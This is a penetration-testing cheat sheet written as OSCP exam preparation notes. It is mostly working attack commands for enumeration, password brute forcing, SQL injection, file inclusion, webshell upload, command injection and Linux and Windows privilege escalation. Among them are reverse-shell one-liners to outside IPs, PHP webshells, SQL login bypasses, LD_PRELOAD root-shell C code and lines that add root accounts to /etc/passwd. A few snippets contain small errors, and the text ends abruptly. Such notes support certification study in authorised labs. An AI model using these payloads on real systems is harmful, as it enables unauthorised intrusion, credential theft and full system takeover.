OSCP Notes NagendranGS

Download as pdf or txt
Download as pdf or txt
You are on page 1of 58

OSCP NOTES

https://in.linkedin.com/in/nagendrangs

https://nagendrangs.medium.com/how-i-passed-oscp-with-100-points-in-7-hours-first-attempt-without-
metasploit-1b36ea9446f3
Enumeration
Wednesday, February 1, 2023 11:37 AM

 ping ip (check for ttl 64-Linux 128-Windows 200+ - FreeBSD or any router)
 nmap -p- ip -T5 --open
 nmap -p(ports here) -sC -sV ip -o nmap (add -sU to scan udp ports if you are not satisfied with output)

#Script Scan
 nmap -sV --script=vulscan/vulscan.nse

#Port Specific NSE Scripts


 ls /usr/share/nmap/scripts/ssh*
 ls /usr/share/nmap/scripts/smb*

FTP:
• Anonymous login - user and pass = anonymous -> File Upload cmd 'put shell.php'

TELNET: (We can transfer files in server)


• Check if telnet is enabled or try telnet ip 21 (21 is port)
• site cpfr path (works only if path and file is valid)
• site cpto path

SSH:
 id_rsa.pub - Public key used in authorized keys dir for login
 id_rsa - Private key which can be directly used for login
can also be bruteforced using ssh2john(converts to hash) and hash can be cracked using john or hashcat.

ssh -i id_rsa user@ip


 For Passwordless login add id_rsa.pub to authorized keys directory
 -o StrictHostKeyChecking=no (to avoid errors related to host key)

MYSQL:
 nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-
info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122

SMB(139 & 445): (If CME fails try SMBCLIENT, Use SMBMAP for access details)
 nmap --script smb-protocols ip
 ls -l /usr/share/nmap/scripts/smb* ( to list all scripts that can be used in nmap)
 net view \\dc01 /all (Windows)
#Enumerating SMB Shares
 crackmapexec smb ip
 crackmapexec smb ip --shares
 crackmapexec smb ip -u '' -p ''
 enum4linux -a ip (Look for shares) (we need password try to find from any clue or method and use it to enumerate share)
 smbmap -H ip
 smbmap -H ip -u 'user' -p 'pass'
 smbmap -H ip -u '' -p ''
 smbmap -H ip -u ''
 smbmap -H ip -s share_name
 smbclient -L //ip
 smbclient -L //ip/
 smbclient //ip/sharename
 smbclient -L //ip -N (No password (SMB Null session))
 smbclient --no-pass -L ip (no pass)
 smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234
User -U in above commands to access specifc user shares
recurse on - toggles recursion
prompt off (doesnt prompt to download(y/n)
mget * (downloads all)
#Groups.xml?
gpp-decrypt "hash"
#Easy Way to Download All files in SMB Server
 recurse ON
 prompt OFF
 mget *

RPC:
rpcclient -U "" 10.10.10.10
rpcclient -U '' 10.10.10.10
 enumdomusers
 enumdomgroups
 enumprivs
 queryuser [rid]
 getdompwinfo
 getusrdompwinfo [rid]

Once if you got users try,


 queryusergroups rid
 querygroup rid

SNMP:
 community.txt (public, private, manager)
 onesixtyone -c community -i ips
 snmpwalk -c public -v1 -t 10 192.168.148.151 (To enumerate MIB Tree)
1.3.6.1.2.1.25.1.6.0 System Processes
1.3.6.1.2.1.25.4.2.1.2 Running Programs
1.3.6.1.2.1.25.4.2.1.4 Processes Path
1.3.6.1.2.1.25.2.3.1.4 Storage Units
1.3.6.1.2.1.25.6.3.1.2 Software Name
1.3.6.1.4.1.77.1.2.25 User Accounts
1.3.6.1.2.1.6.13.1.3 TCP Local Ports
 snmpwalk -c public -v 1 192.168.225.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
 snmpwalk -c public -v 1 192.168.225.149 hrSWRunParameters
 snmp-check 192.168.120.94

NFS:
 showmount -e 10.1.1.27
 mkdir /mount/nfs
 mount -t nfs ip:/pathshown /mnt/nfs
 Permission Denied? https://blog.christophetd.fr/write-up-vulnix/

POP3:
 nc ip port
 USER "username"
 PASS "password"
 LIST
 RETR 1
 RETR 2

SMTP:
 nc ip port
 VRFY root
 VRFY user
 Test-NetConnection -Port 25 192.168.50.8 (Windows)
 Refer Client Side Attacks for rev shell using windows library
PORT 3389?
 https://www.exploit-db.com/exploits/47519
 https://github.com/whokilleddb/CVE-2019-17662
BruteForce
23 February 2023 01:05

CEWL:
• cewl -d 2 -m 5 -w docswords.txt url
-d depth
-m minimum word length
-w output file
--lowercase lowercase all parsed words (optional)

HASHCAT:
https://hashcat.net/wiki/doku.php?id=example_hashes
https://mattw.io/hashID/types (HashID match)

• hashcat -m "number" hash.txt rockyou.txt

JOHN:
• john hash.txt --wordlist=~/rockyou.txt

ONLINE TOOLS:
• https://crackstation.net/
LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool,
MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults
• https://www.dcode.fr/tools-list
MD4, MD5, RC4 Cipher, RSA Cipher, SHA-1, SHA-256, SHA-512, XOR Cipher
• https://www.md5online.org/md5-decrypt.html (MD5)
• https://md5.gromweb.com/ (MD5)

PROTOCOLS BRUTEFORCE:
• Hydra
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, irc, RSH, RLOGIN, CVS, SNMP, SMTP,
SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, XMPP, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco
enable, AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA
• Medusa
AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH,
SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd),
VNC, Generic Wrapper, Web Form
• Ncrack (Fastest)
RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, telnet

SSH
• ncrack -v -U user.txt -P pass.txt ssh://10.10.10.10:<port> -T5
• hydra -L users.txt -P pass.txt 192.168.0.114 ssh (use l if you know username)

SMB
• ncrack -u qiu -P rockyou.txt -T 5 192.168.0.116 -p smb -v

HYDRA
• hydra -L users.txt -P rockyou.txt 10.10.10.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid Username
or Password" -V -s 7654 (u need to identify the exact parameters in the request)
• hydra -l admin -P ~/rockyou.txt -f 192.168.143.201 http-get / (Basic Auth)
• hydra -l kali -P usernames.txt ssh://ip (use -l -p if you know username and pass else bruteforce using -L -P)
• hydra -L /usr/share/wordlists/dirb/others/names.txt -p "SuperS3cure1337#" rdp://192.168.50.202
• hydra 10.0.2.22 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l x -P ~/rockyou.txt -t 10 -w 30 (to
bruteforce a single parameter to get access)
• hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.10 -s 55007 pop3 (POP3 Bruteforce with valid
username)
• hydra -l james -P passwords.txt 10.2.2.23 telnet
• hydra -l root -P ~/rockyou.txt sunset-midnight mysql -t 4
80, 443
23 February 2023 01:23

DIRECTORY ENUMERATION:
• dirsearch -u url
• ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u url
• -mc (to filter needed status codes), -e txt,php,csv,md,json,js,html,py,sh ( extension), -fs 80 (filter response size 80)
• gobuster dir -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -u http://
• gobuster dir -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 100 -x txt,php,csv,md,json,js,html,py,sh,pdf,config -u url
• gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,csv,md,json,js,html,py,sh,pdf,config -t 100 -u
url
• gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -x
txt,php,csv,md,json,js,html,py,sh,pdf -u url (use -k to ignore ssl verify)
Note: For FFUF use ”Authorization: Basic YWRtaW46YWRtaW4=" -H for header if needed

WORDPRESS:
• wpscan --url http://10.10.10.10 -e u,vp // enumerate users & vulnerable plugins
• wpscan --url 10.10.10 --passwords rockyou.txt --usernames elliot
#Username Enumeration via BruteForce
• https://github.com/SecurityCompass/wordpress-scripts/blob/master/wp_login_user_enumeration.py
• python wp_brute.py url -t

Try to create shell.php with php reverse shell payload in themes or plugin and try to open it with listening nc in kali (Need Write
permission)
Use php-reverse-shell.php or
• msfvenom -p php/meterpreter/reverse_tcp lhost=ip lport=port R (R for Raw Format)
• If created in Appearance themes it will be in
/wordpress/wp-content/themes/twentynineteen/secret.php

#To Analyze the response of request


• curl http://ip

WAF BYPASS:
• curl http://192.168.120.149:13337/logs - Access Denied?
• -H "X-Forwarded-For: localhost" (Success)

USERNAME REGISTRATION:
• <?php system($_POST["cmd"]);?>
API
04 June 2023 16:20

#Creating a Pattern to bruteforce using GoBuster


{GOBUSTER}/v1
{GOBUSTER}/v2

• gobuster dir -u http://192.168.229.143 -w /usr/share/wordlists/dirb/big.txt -p pattern


Misc
12 March 2023 22:52

WORDPRESS:
• wpscan --url "http://10.0.2.19/wordpress" -e at,ap,u
• If user name is admin try default creds
• wpscan --url "http://10.0.2.19/wordpress" -U c0rrupt3d_brain -P ~/rockyou.txt (might consume lot time have this as last option
try to identify password by any leakage or hint, enumeration)

RCE:
• If you got RCE and reverse shell payload is not working. Try encoding it in base64.
• echo "payload" | base64
• in vulnerable parameter -> echo "b64 encoded payload" | base64 -d | bash

CHECK FOR UNC PATHS - \\IP\FILE IN PARAMETERS

MILLHOUSE WEB APP?


• Register a user with name <?php system($_POST["cmd"]);?>
• And try exploit - https://www.exploit-db.com/exploits/47121
Login once and record REQUEST by burp suite, base on login request and modify it to continue and now,use LFI to include below PATH
• /var/lib/php/sessions/sess_<my session>
such as,
• /var/lib/php/sessions/sess_qqqqqqqqqqqqqqqqqqqqqqqqqqq
And write command you want to execute such as reverse shell in POST variability ,such as below(better to use your own
revershell payload).
• &cmd=nc 8.8.8.8 4444 -e /bin/bash
Now we have shell,and we can find local.txt in /var/www
PE
Execute sudo -l
SQLi
23 February 2023 01:25

PORTSWIGGER CHEATSHEET:
https://portswigger.net/web-security/sql-injection/cheat-sheet

PAYLOADS:
'
)'
"
`
')
")
`)
'))
"))
`))
'-SLEEP(30); #

LOGIN BYPASS:
Both user and password or specific username and payload as password

' or 1=1 --
' or '1'='1
' or 1=1 --+
user' or 1=1;#
' and 1=1#
user' or 1=1 LIMIT 1;#
user' or 1=1 LIMIT 0,1;#
offsec' OR 1=1 -- //
' or 1=1 in (select @@version) -- //
' OR 1=1 in (SELECT * FROM users) -- //
#If query accepts only one column
' or 1=1 in (SELECT password FROM users) -- //
#To retrieve specific user password
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
sql = "select count(user_name) from web_users where user_name='" + username + "' and password='" + userpass + "'";

Note: // comment indicated php is used in application

BOOLEAN BASED BLIND SQLI:


http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //

TIME BASED BLIND SQLI:


http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //

Note: When testing for blind we cant always expect 5xx when statement is wrong. Look if we get results if statement is correct, if statement
is wrong we don’t get results.

' order by 1--


'order by 2-- (increment no. till we identify no. of columns)

'union select null-- (use the count of null identified using order by)
'union select @@version,null-- (identify version and others using cheatsheet)
#Identifying Name of Databases
' union SELECT schema_name,null,null,null FROM information_schema.schemata--
#Identifying Name of Tables present in a particular DB
' union SELECT TABLE_NAME,null,null,null FROM information_schema.TABLES WHERE table_schema='Staff'--
#Identifying Column name of a particular table
' union SELECT column_name,null,null,null FROM information_schema.columns WHERE table_name = 'StaffDetails'--
#Dumping Data
' union SELECT group_concat(Username,":",Password),null,null,null FROM users.UserDetails-- (last dbname.tablename)(else use database
name at last its enough)

#Making it Readable
cat userPass | tr "," "\n" (userPass is dumped data)
cut -d ":" -f1 userPass | tee -a user
cut -d ":" -f1 userPass | tee -a pass

Crack using CrackStation

RCE:
#MYSQL
• ' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // (O/P
directory must be writable to OS user)
• /tmp/webshell.php?cmd=id

#MSSQL
• python -m http.server 8080
• '; exec master..xp_cmdshell 'powershell -c Invoke-WebRequest "http://kaliip:8080/p" -Method HEAD'-- (Got hit?)
• '; exec master..xp_cmdshell 'powershell -enc '--
LFI & RFI
23 February 2023 01:25

LFI:
Minimum no. of correct escapes (../) helps to retrieve file
/usr/share/seclists/Fuzzing/LFI
while fuzzing using ffuf don’t forget to add admin session cookie and grep passwd
for linux
http://ip.com/test.php?Fuzz=/etc/passwd
http://ip.com/test.php?file=fuzz (pathotest.txt)

READ /etc/passwd & 22 OPEN?


• try hydra bruteforce for those usernames

PORT KNOCKING?
• Try to do port knocking by reading knock file

SAMBA THERE?
Look for,
• /export/samba/secure/smbpasswd.bak and /etc/samba/smb.conf

ASSERTION PAYLOADS AND OTHER TRICKS -


https://book.hacktricks.xyz/pentesting-web/file-inclusion

BYPASS:
• URL Encoding
#PHP Filters (php:// for getting b64 output, data:\\ for RCE or rev shell)
• php://filter/resource=admin.php (Checking whether php wrappers are working)
• php://filter/convert.base64-encode/resource=admin.php
• data://text/plain,<?php%20echo%20system('ls');?> (Direct RCE if log poisoning
didn’t work) (checking if data wrappers work)
• echo -n '<?php echo system($_GET["cmd"]);?>' | base64
• data:text/plain,<?php echo shell_exec("bash /tmp/reverse.sh");?>
• data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs
/Pg==&cmd=ls"
• **/etc/passwd** (base-64-encoded as `L2V0Yy9wYXNzd2Q=`) which becomes
http://192.168.120.121:8080/data/L2V0Yy9wYXNzd2Q=:

#Seperate users from /etc/passwd


cut -d ":" -f1 sshUsers2

https://github.com/takabaya-shi/LFI2RCE
LOG Poisoning:
• Try to read /var/log/apache2/access.log (Linux) or C:\xampp\apache\logs
\access.log (Windows)
• Worked? log poisoning possible
• Add this <?php echo system($_GET['cmd']); ?> in User-Agent Burpsuite
• RCE via &cmd=
• bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1" (Bourne Shell)(Bash
or Sh rev shell wont work since code is executing via php system func)

NOT ALWAYS LFI CAN BE USED TO GET REVSHELL DIRECTLY USING LOG
POISONING OR VIA RFI.
If server is running on Tomcat try to traverse to tomcat-users.xml to get creds and
login to /manager/html and deploy war file for shell.
Paths:
/etc/tomcat7
/usr/share/tomcat7
/usr/share/tomcat7-root
/var/lib/tomcat7/conf
/tmp/tomcat7-tomcat7-tmp

TRY TO GET SSH PRIVATE KEYS


/home/user/.ssh/id_rsa
/home/user/.ssh/id_ecdsa
chmod 600 id_rsa
ssh -I id_rsa user@ip

WINDOWS:
• C:\Program%20Files\FileZilla%20Server\FileZilla%20Server.xml
• ..%5C..%5C..%5C.. %5C..%5C..%
5C/Windows/System32/config/RegBack/SYSTEM.OLD
• ..%5C..%5C..%5C.. %5C..%5C..%5C/Windows/System32/config/RegBack/SAM.OLD
• ..\..\..\..\..\..\..\..\..\xampp\security\webdav.htpasswd
• ..\..\..\..\..\..\..\..\xampp\htdocs\blog\wp-config.php

RFI:
• host php-reverse-shell.php using python server
• enter url in parameter after listening netcat
• Shell
File Upload
23 February 2023 01:25

USING EXECUTABLE FILES:

• /usr/share/webshells/ (Has All Kinds of Webshells)


• https://book.hacktricks.xyz/pentesting-web/file-upload
• #Filter Bypass (For more refer the above URL)
(pHP, phps, phtml,php7)

Note: Use Curl to check

USING NON EXECUTABLE FILES:


• We cannot access directly so we need to leverage directory traversal
#Overwriting Files (Weak Permissions)
• ssh-keygen
• cat file.pub > authorized_keys
• chmod a+rwx authorized keys
• chmod 700 id_rsa
• Try to overwrite ../../../../../../../root/.ssh/authorized_keys (upload file name should be like this in request)
• ssh -i id_rsa user@ip

#Upload File using CURL


• curl --user 'user:pass' -T file.exe url
Command Injection
03 April 2023 21:33

• If a single command is working try URL encoding semi-colon


eg: git command works but others are restricted. Then try git;ipconfig (; or && for linux & for windows) (git version for win,
git --version for lin)
Make sure to URL encode special chars.

#To determine webshell is powershell or cmd


• (dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
Note: If parameters pass in body try for eg: linux param=";ls" (as url encoded)
Always check forgot email password page for anything suspicious in response

CMD.php in website where we can execute commands in POST DATA?


• ip=127.0.0.1%0awget IP%0amv index.html webshell.php%0a&send=Ping+It%21
• curl http://127.0.0.1:8080/start_page.php?page=cmd.php --data "cmd=echo 'www-data ALL=(ALL) NOPASSWD:ALL' >>
/etc/sudoers"

• echo+'os.execute("nc+-e+/bin/sh+192.168.XX.XX+445")'+>+/var/tmp/shell.nse+&&+sudo+nmap+--
script+/var/tmp/shell.nse
Linux Privilege Escalation
23 February 2023 01:26

RUN LINPEAS

• cat .bash_history
• env
• check .bashrc
• whoami
• id
• sudo -l (check which user can run and get priv esc using GTFO Bins)
If there isnt a file that can be run as sudo try to create a file there with same path. eg: derpy.sh (with content chmod +s /bin/bash) and
then sudo ./derpy.sh && /bin/bash -p.

• TO IDENTIFY HOW A FILE IS GETTING CALLED - grep -r "/home/oscp/ip" /etc/


• cat /etc/group
• getent group "groupname"
• cat /etc/passwd
• ls -la /etc/shadow
• route
• routel
• cat /etc/iptables/rules.v4
#Process Enumeration
• watch -n 1 "ps -aux | grep pass"
• sudo tcpdump -i lo -A | grep "pass"
• ps -u -C passwd

BREAK RESTRICTED BASH VIA SSH:


• ssh [email protected] -t "bash --noprofile"

OS ENUMERATION:
• cat /etc/issue
• cat /etc/*-release
• cat /proc/version
• uname -a
• arch
• ldd --version

TOOLS INSTALLED:
• which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null

FILE OWNERS & PERMISSIONS


• ls -la
• find . -ls (displays all files and its child files in current dir)
• history
• cat ~/.bash_history
• find / -type f -user <username> -readable 2> /dev/null # Readable files for user
• find / -writable -type d 2>/dev/null (Writable files by the user)
• find / -writable 2>/dev/null |cut -d "/" -f 2 |sort -u (Writable Directories)
• find / -perm -0002 -type d -print 2> /dev/null (World writable directories)
• find / -name "test.py" 2>/dev/null (alternate of locate cmd)
• find /usr/local/ -type d -writable
• If a file owner is root but the directory owner is regular user, we can change the replace the contents of the file using echo "content" >
rootownedfile
KERNEL EXPLOITS (use GCC or CC)
• uname -a
• cat /proc/version
• cat /etc/lsb-release
• cat /etc/os-release
• gcc exp.c -o exp.sh ot exp.exe
add -w, -static, -pthread(if pthread error occurs)
• searchsploit "name with version"
• Dirty Cow - https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
• Overlayfs - https://www.exploit-db.com/exploits/37292
• https://www.exploit-db.com/exploits/45010 linux kernel < 4.13.9
• Linux Kernel 2.6.22 < 3.9 - https://www.exploit-db.com/exploits/40839
• Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) = 18411.c
• Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - https://www.exploit-db.com/exploits/44298

SUDO -L
• GTFO bins
• look for env eg: if LD_PRELOAD is present,
create a env.c file with below contents,

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0,);
system("/bin/bash -p");
}
gcc -fPIC -shared -o /tmp/env env.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so program-name-here
• look for env eg: LD_LIBRARY_PATH
look for shared libraries on the listed programs/binaries on sudo -l
ldd binaryname (look for the listed library names)
create a library_path.c file

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
gcc -o /tmp/lib.so -shared -fPIC library_path.c
sudo LD_LIBRARY_PATH=/tmp binaryname

• For tcpdump binary check course


• IF FILE IS NOT THERE CREATE A FILE AND DON’T FORGET TO GIVE EXECUTION PERMISSIONS

SUID ENUMERATION
• find / -perm -u=s -type f 2>/dev/null
gtfo bins, binary versions? look at exploitdb, shared object injection THM task12, strings binary -> look for any path of binaries -> if
present
/bin/bash --version ( < 4.2-048)
function "that absolute path" { /bin/bash -p; }
export -f "that absolute path"
call the suid binary ( for doubts THM linprivesc tasks)
or
bash --version ( < 4.4)
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' "that absolute path"
/tmp/rootbash -p
Note: For eg: if python2.7 has suid bit set spawn a tty shell without sudo we can get root

CAPABILITIES
• getcap -r / 2>/dev/null
eg: /home/cyber/tar cap_dac_read_search=ep this cap will help us to read any files
cmd: tar cf file.tar "path we want"

SERVICE EXPLOITS:
• find a service run by root
• grep -r "/home/oscp/ip" /etc/ (finding a service for thw writable exe ip in /etc dir)
• if the executable is in writable dir replace that with chmod +s /bin/bash and restart the service/ reboot the server
• even if that file is owned by root if dir is owned by user we can replace the file.

CRON JOBS:
• cat /etc/crontab
• * * * * * job gets executed every minute
• check root owns that file executes it
• look for write permission on that file if yes replace with a basic linu xreverse shell payload or chmod +s /bin/bash
• start a listener on kali
• grep "CRON" /var/log/syslog

LXD GROUP:
• git clone https://github.com/saghul/lxd-alpine-builder.git
• cd lxd-alpine-builder
• rm alpine-v3.13-x86_64-20210218_0139.tar.gz
• sudo ./build-alpine
• Transfer the .tar.gz file to shell
• Find the lxc file if its not there by default
• /snap/bin/lxc image import ./alpine-v3.18-x86_64-20230718_0359.tar.gz --alias myimage
• /snap/bin/lxc init myimage ignite -c security.privileged=true
• /snap/bin/lxc storage create pool dir
• /snap/bin/lxc profile device add default root disk path=/ pool=pool
• /snap/bin/lxc storage list
• /snap/bin/lxc init myimage ignite -c security.privileged=true
• /snap/bin/lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
• /snap/bin/lxc start ignite
• /snap/bin/lxc exec ignite /bin/sh
• cd /mnt/root/root

#WRITABLE CRON DIR?


• https://cheatsheet.haax.fr/linux-systems/privilege-escalation/crontab/#writable-cron-directory

IS THERE A SCRIPTS THAT CHANGES PASSWORD OF USERS AND RUNS AS ROOT


• Use the having passwords
• Add "\\x0A\\x0Aroot:NewPass" in order to escape from the -e and to set the root password to NewPass
• su root

PATH: (Refer THM)


• echo $PATH
• echo "chmod +s /bin/bash" >> ps
• export PATH=.:$PATH (setting as current path)
• chmod 777 ps
• ./rootownedfilee

NFS:
• cat /etc/exports (Look for no_root_squash or no_all_squash)
• showmount -e targetip
• mkdir /tmp/mount
• mount -o rw targetip:/backups /tmp/mount or mount -t nfs ip:/var/backups /tmp/mount (use targetip:/ to mount all shares if multiple
were available)
• msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/mount/shell.elf
• chmod +xs shell.elf
• ls -l shell.elf
• ./shell.elf
or
• simpleexecutable.c in ~/stuffs/oscp
• gcc nfs.c -static -w -o nfs
or
• put bash suid there

MOOSEFS:
• mkdir -p /mnt/folder
• mfsmount /mnt/folder -H ip
• Check if there is .ssh folder if so,
• ssh-keygen and move .pub to /mnt/folder/.ssh/authorized_keys
• Look for .sync folder or try to identify username of the server to ssh
• ssh -i id_rsa user@ip
• or
• Try the above NFS method

LOOK FOR HIDDEN FILES


• ls -la /var/backups
• check every thing including every weird or typical process and internal ports
• config files has passwords
• look for root private ssh keys .ssh.
• find / -name authorized_keys 2> /dev/null
• find / -name id_rsa 2> /dev/null
• copy/paste contents to kali
• chmod 600 id_rsa
• ssh -i id_rsa root@ip (crack pass using john)

DIRTYCOW
• exploit in ~/stuffs/oscp/c0w.c
• gcc c0w -w -pthread -o cow
• ./cow
• /usr/bin/passwd

SHADOW / PASSWD FILE WRITABLE?


• echo "root2::0:0:root:/root:/bin/bash" >> /etc/passwd (setting no password for user root2 to we can login as root without passwd since
uid and gid is 0.
or
• openssl passwd banana or openssl passwd -1 -salt pwn pass123
• replace x with hash or create a correct format
• echo "root2:$1$ORXgPu49$zUxuMoaybWABa2bhFnIpz0:0:0:root:/root:/bin/bash" >> /etc/passwd (0 specifies user is super user)
• su root2
• enter pass
#SETTING SUID FOR /bin/bash (IF CHMOD CAN BE RUN AS ROOT)
• /usr/bin/chmod +s /bin/bash
• try to reboot the machine
• /bin/bash -p

ESCALATION METHODS:
• cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash;
/tmp/rootbash -p
• nano /etc/sudoers -> user ALL=(ALL) NOPASSWD:ALL
• nano /etc/passwd -> change GID to root
• echo "exploit:YZE7YPhZJyUks:0:0:root:/root:/bin/bash" >> /etc/passwd | su - exploit
• echo root:gl0b0 | /usr/sbin/chpasswd

SNMP:
• Check if snmpd is running as root and /etc/snmp/snmpd.conf is writable
• https://rioru.github.io/pentest/web/2017/03/28/from-unauthenticated-to-root-supervision.html
MYSQL
16 March 2023 22:59

#Find Hash of Users and Crack using Hashcat


• show databases;
• use <database>;
• show tables;
• select * from <tablename>;
• describe <table_name>;
• show columns from <table>;
hashcat hash.txt rockyou.txt

• select version(); #version


• select @@version(); #version
• select user(); #User
• select database(); #database name

REMOTE LOGIN:
• mysql -u root -proot -h 192.168.142.16 -P 3306
• sudo mysql -uroot -pLetMeIn123 -e '\! /bin/sh' (suid/sudo to root)

UPDATING WORDPRESS PASSWORD:


• Generate MD5 hash - https://www.md5hashgenerator.com/
• update wp_users set user_pass="5f4dcc3b5aa765d61d8327deb882cf99"
where id=1; (refer sunset-midnight walkthrough if doubt)

UDF EXPLOIT: (Can be used for LPE)


MySQL 4.x/5.0 (Linux) - User-Defined Function Dynamic Library
• gcc -g -c raptor_udf2.c -fPIC
• gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -
lc
• mysql -u root
• use mysql;
• create table foo(line blob);
• insert into foo values(load_file('/home/raptor_udf2.so'));
• select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
• create function do_system returns integer soname 'raptor_udf2.so';
• select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
• exit
• user@target$ /tmp/rootbash -p
Note: In some scenarios for the above thing to work we might need to edit
/etc/mysql/mariadb.conf.d/50-server.cnf and /etc/mysql/my.cnf and change
user= whatever name to root.
PostgresQL
18 April 2023 19:48

psql -h 192.168.50.63 -p 2345 -U postgres


• \l (to list available databases)
• \c confluence (connect to specific database)
• \dt (to list all tables)
• select * from cwd_user;
Windows Privilege Escalation
23 February 2023 01:27

Transfer the following files to shell before proceeding - winpeas.exe, accesschk.exe


Run WinPEAS
or

Things to check
• Get-History
• (Get-PSReadlineOption).HistorySavePath
• $env:appkey
• Get-ChildItem -Directory -Recurse

- Username and hostname


- Group memberships of the current user
- Existing users and groups
- Operating system, version and architecture
- Network information
- Installed applications
- Running processes

OS ENUMERATION:
• systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
• hostname
• echo %username%

USER ENUMERATION:
• whoami
• whoami /priv
• whoami /groups
• net user
• net user "username"
• net localgroup
• net localgroup "localgroupname"

NETWORK ENUMERATION:
• ipconfig
• ipconfig /all
• netstat -ano
• route print

INSTALLED APPLICATIONS:
• Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname (32-
bit)
• Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname (64-bit)
Note: The above command results might be incomplete always check C:\Program Files and Downloads Folder
#PROCESS ENUMERATION (To view running applications)
• Get-Process
• Get-Process -Name notepad | Select-Object -ExpandProperty "Path"

MOUNT INFORMATION:
• mountvol (to list all drives that are currently mounted) (no mount points might be interesting have a look at it)

HIDDEN IN PLAINVIEW:
• Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
• Get-ChildItem -Path C:\Users\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue (Modify path to your desired)
• Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
• Get-ChildItem -Path "C:\" -Filter ".git" -Recurse -Force (to discover .git or any folder in c:\)
• runas /user:offsec cmd (works only in gui)

SERVICE & PROCESS ENUMERATION:


While Checking for permissions check if both file and directory are writable. If any one is lesgoo...!
#Service Binary Hijacking
• Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
• icacls "C:\xampp\apache\bin\httpd.exe" (Check for write permissions)
or
• Transfer Powerup.ps1
• . ./Powerup.ps1
• Get-ModifiableServiceFile (Automation to check which service binary can be replaced)
• Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'BackupMonitor'} (Check
whether the service restarts itself or we have to)
• create shell.exe, file transfer, rename it as original service file name
• net stop servicename
• net start servicename
or
